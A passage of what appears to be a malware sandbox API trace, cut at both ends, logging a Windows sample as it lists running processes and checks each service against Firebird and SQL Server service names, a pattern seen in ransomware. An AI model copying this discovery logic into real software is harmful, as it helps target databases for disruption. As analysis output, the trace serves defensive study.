(lpString="isolated-concerned.exe") returned 22 [0111.751] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0111.751] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0111.752] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0111.752] lstrlenW (lpString="blademcdonald.exe") returned 17 [0111.752] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0111.753] lstrlenW (lpString="courage.exe") returned 11 [0111.753] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0111.754] lstrlenW (lpString="pearl.exe") returned 9 [0111.754] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0111.759] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0111.759] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0111.761] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0111.761] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0111.762] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0111.762] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0111.763] lstrlenW (lpString="dome.exe") returned 8 [0111.763] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0111.764] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0111.764] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0111.765] lstrlenW (lpString="paying.exe") returned 10 [0111.765] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0111.766] lstrlenW (lpString="emission.exe") returned 12 [0111.766] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0111.767] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0111.767] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0111.767] lstrlenW (lpString="charter.exe") returned 11 [0111.768] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0111.769] lstrlenW (lpString="nickel.exe") returned 10 [0111.769] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0111.770] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0111.770] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0111.774] lstrlenW (lpString="wrist.exe") returned 9 [0111.774] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0111.775] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0111.776] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0111.777] lstrlenW (lpString="neck.exe") returned 8 [0111.777] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0111.778] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0111.778] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.779] lstrlenW (lpString="dllhost.exe") returned 11 [0111.779] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.780] lstrlenW (lpString="taskhostw.exe") returned 13 [0111.780] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.781] lstrlenW (lpString="svchost.exe") returned 11 [0111.781] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0111.782] lstrlenW (lpString="reaItek.exe") returned 11 [0111.782] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.785] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0111.785] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0111.786] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0111.786] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.787] lstrlenW (lpString="conhost.exe") returned 11 [0111.787] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.789] lstrlenW (lpString="cmd.exe") returned 7 [0111.789] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.790] lstrlenW (lpString="conhost.exe") returned 11 [0111.790] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.792] lstrlenW (lpString="sppsvc.exe") returned 10 [0111.793] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0111.793] CloseHandle (hObject=0x2f4) returned 1 [0111.793] Sleep (dwMilliseconds=0x1f4) [0112.304] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fed18 [0112.305] EnumServicesStatusExW (in: hSCManager=0x5fed18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0112.305] GetLastError () returned 0xea [0112.305] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0112.305] EnumServicesStatusExW (in: hSCManager=0x5fed18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0112.306] CloseServiceHandle (hSCObject=0x5fed18) returned 1 [0112.306] lstrlenW (lpString="Appinfo") returned 7 [0112.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0112.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0112.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0112.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0112.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0112.306] lstrlenW (lpString="AppXSvc") returned 7 [0112.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0112.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0112.306] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0112.306] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0112.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0112.306] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0112.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.306] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0112.306] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0112.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0112.306] lstrlenW (lpString="Audiosrv") returned 8 [0112.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0112.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0112.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0112.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0112.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0112.307] lstrlenW (lpString="BFE") returned 3 [0112.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0112.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0112.307] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0112.307] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0112.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0112.307] lstrlenW (lpString="BITS") returned 4 [0112.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0112.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0112.307] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0112.307] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0112.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0112.307] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0112.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0112.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0112.307] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0112.307] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0112.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0112.307] lstrlenW (lpString="CDPSvc") returned 6 [0112.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0112.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0112.307] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0112.307] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0112.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0112.307] lstrlenW (lpString="ClickToRunSvc") returned 13 [0112.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0112.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0112.307] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0112.307] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0112.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0112.308] lstrlenW (lpString="ClipSVC") returned 7 [0112.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0112.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0112.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0112.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0112.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0112.308] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0112.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0112.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0112.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0112.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0112.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0112.308] lstrlenW (lpString="CryptSvc") returned 8 [0112.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0112.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0112.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0112.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0112.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0112.308] lstrlenW (lpString="DcomLaunch") returned 10 [0112.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.308] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0112.308] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0112.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0112.308] lstrlenW (lpString="DeviceAssociationService") returned 24 [0112.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0112.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0112.308] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0112.308] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0112.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0112.308] lstrlenW (lpString="Dhcp") returned 4 [0112.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0112.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0112.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0112.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0112.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0112.309] lstrlenW (lpString="Dnscache") returned 8 [0112.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0112.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0112.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0112.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0112.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0112.309] lstrlenW (lpString="DoSvc") returned 5 [0112.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0112.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0112.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0112.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0112.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0112.309] lstrlenW (lpString="DPS") returned 3 [0112.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0112.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0112.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0112.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0112.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0112.309] lstrlenW (lpString="DusmSvc") returned 7 [0112.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0112.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0112.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0112.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0112.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0112.309] lstrlenW (lpString="EventLog") returned 8 [0112.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0112.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0112.309] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0112.309] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0112.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0112.310] lstrlenW (lpString="EventSystem") returned 11 [0112.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0112.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0112.310] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0112.310] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0112.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0112.310] lstrlenW (lpString="FontCache") returned 9 [0112.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0112.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0112.310] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0112.310] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0112.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0112.310] lstrlenW (lpString="gpsvc") returned 5 [0112.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0112.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0112.310] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0112.310] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0112.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0112.310] lstrlenW (lpString="iphlpsvc") returned 8 [0112.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.310] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0112.310] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0112.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0112.310] lstrlenW (lpString="KeyIso") returned 6 [0112.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0112.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0112.310] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0112.310] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0112.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0112.310] lstrlenW (lpString="LanmanServer") returned 12 [0112.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0112.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0112.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0112.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0112.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0112.311] lstrlenW (lpString="LanmanWorkstation") returned 17 [0112.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0112.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0112.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0112.311] lstrlenW (lpString="lfsvc") returned 5 [0112.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0112.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0112.311] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0112.311] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0112.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0112.311] lstrlenW (lpString="LicenseManager") returned 14 [0112.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0112.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0112.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0112.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0112.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0112.311] lstrlenW (lpString="lmhosts") returned 7 [0112.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0112.311] lstrcmpiW 